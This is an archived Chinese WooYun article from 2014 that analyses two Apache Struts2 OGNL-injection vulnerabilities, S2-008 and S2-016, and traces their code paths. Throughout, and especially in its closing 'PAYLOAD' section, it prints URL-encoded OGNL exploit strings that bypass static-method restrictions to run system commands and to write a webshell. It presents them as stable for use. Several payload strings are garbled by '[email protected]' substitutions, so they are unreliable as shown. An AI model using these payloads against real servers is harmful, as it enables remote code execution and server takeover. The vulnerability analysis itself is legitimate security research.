# struts2最近几个漏洞分析&稳定利用payload

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-02-11T03:48:00Z
Canonical: https://wepostx.com/topics/342

> 乌云历史资料归档
>
> **原始作者：** genxor
> **原始编号：** superkieran-wooyundrops:138
> **原始发布时间：** 2014-02-11 11:48
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

weibo:[genxor](http://weibo.com/u/2296090825)

## 0x00 背景

看到网上关于struts2利用的文章非常多，但是对于漏洞触发跟踪分析的文档比较少，闲来无事跟踪了一下struts最近吵得比较火的两个漏洞，研究了一下能够稳定利用的payload。

## 0x01 S2-008

Struts2框架存在一个devmode模式，方便开发人员调试程序，但是默认devmode是不开启的，如果想要使用，需要手动修改参数，可以将struts.properties中的devmode设置为true，或是在struts.xml中添加如下代码，

```text
<constant name="struts.devMode" value="true" />
```
实际上devmode依赖于struts2底层的struts2-core.jar中的DebuggingInterceptor.java实现，然后漏洞也存在于此程序中。这里我以debug=command这个逻辑下，测试漏洞，我的POC如下所示：

```text
http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29% [email protected] [email protected] %28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
```
首先，这里是devmode的几种模式，

![原文图片](/media/2016/06/1ca7ab4256c282a5653dd3a06771f88e)

继续跟踪DebuggingInterceptor.java的代码，发现问题出在下面这个逻辑当中

![原文图片](/media/2016/06/4699f4b242c336a8bcee1a9b04c100e3)

跟踪参数如图

![原文图片](/media/2016/06/ecdfd44ee6982b9cb9d38210e746f688)

可以看到这里

```text
String cmd = getParameter(EXPRESSION_PARAM); … writer.print(stack.findValue(cmd));
```
这里cmd没做任何处理，后面直接findValue（findValue能够执行OGNL表达式，具体参考官方文档），导致OGNL表达式执行。
关于这个漏洞执行，其实没什么好说的，关键是这个payload调用java反射类(可以访问一些私有成员变量)绕过了struts2限制执行java静态方法的规则法的规则，使之前apache官方的修复又白费了。因为struts2在2.3.14.1版本之后便设置#_memberAccess[“allowStaticMethodAccess”]为不可修改，而要调用java静态方法，必须要设置allowStaticMethodAccess为true才可以。这里使用

```text
#f = #_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess') #f.setAccessible(true) #f.set(#_memberAccess, true)
```
这里使用java的反射机制绕过了限制。另外，还有利用java.lang.ProcessBuilder类的start()方法来实现（ProcessBuilder类是用来创建系统进程的，每个实例管理一个进程属性集合，start方法用来创建一个新的进程实例，并且可以从相同的实例中反复多次的初始化、创建子进程。随便构造一个java.lang.ProcessBuilder的实例，然后调用它的start()方法，便达到命令执行的目的），但这个算是另一种思路，并没有从根本上修改#_memberAccess[“allowStaticMethodAccess”]的值。

## 0x02 S2-016

在struts2中，DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。
这里以“redirect:”前缀举例，struts2会将“redirect:”前缀后面的内容设置到redirect.location当中，这里我们一步步跟踪，首先是这个getMapping函数跟入

![原文图片](/media/2016/06/f34a1524bddec929fe1efffbcbf7db68)

这里一直到这个handleSpecialParameters()，继续跟入

![原文图片](/media/2016/06/300bf8a85b7a263a56e9ef55bd35eb9d)

![原文图片](/media/2016/06/0d8fefab450e50250f9bd8c4e32642a7)

这里真正传入OGNL表达式是在这个parameterAction.execute()中，继续跟入来到DefaultActionMapper.java的代码

![原文图片](/media/2016/06/27bb547a6b82f623e96d3b88c94bcea0)

这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式，struts2会调用setLocation方法将他设置到redirect.location中。然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里，如图所示

![原文图片](/media/2016/06/66d42f09511009f8d1f6679b2a3d911e)

然而上面的过程只是传递OGNL表达式，真正执行是在后面，这里是在FilterDispatcher类中的dispatcher.serviceAction()方法，这里的mapping对象中设置了传入的OGNL

![原文图片](/media/2016/06/c725449423882e34bb1128b5745b9e67)

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。

![原文图片](/media/2016/06/b3d35a3d1e7586f62d8a36ab1d4016e6)

## 0x03 PAYLOAD

这里我结合之前几个漏洞凑出一个通用payload，目前测试还是很稳定的
命令执行

```text
%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29% [email protected] [email protected] %28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
```
Getshell

```text
%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuil [email protected] @ [email protected] [email protected] [email protected] [email protected] [email protected] %28%29%2c%23genxor.close%28%29
```
同时在之前的struts2exp这个程序基础上修改出一个exp，整合了近几年出现的几个高危漏洞,

![原文图片](/media/2016/06/a59d2fd7047376d3b2fef493650f6499)

程序先不公开放出，大家可以自己用语句测试自己的服务器是否有该问题。

## Replies